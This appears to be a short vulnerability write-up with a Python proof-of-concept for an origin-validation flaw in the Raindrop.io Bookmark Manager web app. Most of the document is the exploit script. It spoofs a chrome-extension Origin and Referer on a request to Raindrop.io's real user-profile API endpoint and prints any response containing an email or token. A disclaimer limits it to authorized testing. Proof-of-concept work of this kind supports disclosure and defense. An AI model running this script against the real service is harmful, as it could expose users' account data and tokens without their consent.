Insufficient validation of Chrome extension identifiers in Raindrop.io Bookmark Manager Web App 5.6.76.0 allows attackers to obtain sensitive user data via a crafted request.
The following code is for security research and authorized testing only.
python
import requests
def check_vulnerability(target_url):
# Simulate a request with a crafted Chrome Extension Identifier/Origin
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Origin": "chrome-extension://abcdefghijklmnop", # Malicious or unvalidated ID
"Referer": "chrome-extension://abcdefghijklmnop/"
}
try:
# Send request to the target endpoint
response = requests.get(target_url, headers=headers, timeout=10)
# Check if sensitive data is exposed in the response
if response.status_code == 200 and ("email" in response.text or "token" in response.text):
print("[+] Potential Vulnerability Detected!")
print("[+] Response Content:")
print(response.text[:500]) # Print snippet of data
else:
print("[-] Vulnerability not detected or data not exposed.")
except Exception as e:
print(f"[!] Error occurred: {e}")
if __name__ == "__main__":
# Replace with the actual vulnerable endpoint
target = "https://api.raindrop.io/rest/v1/user/profile"
check_vulnerability(target)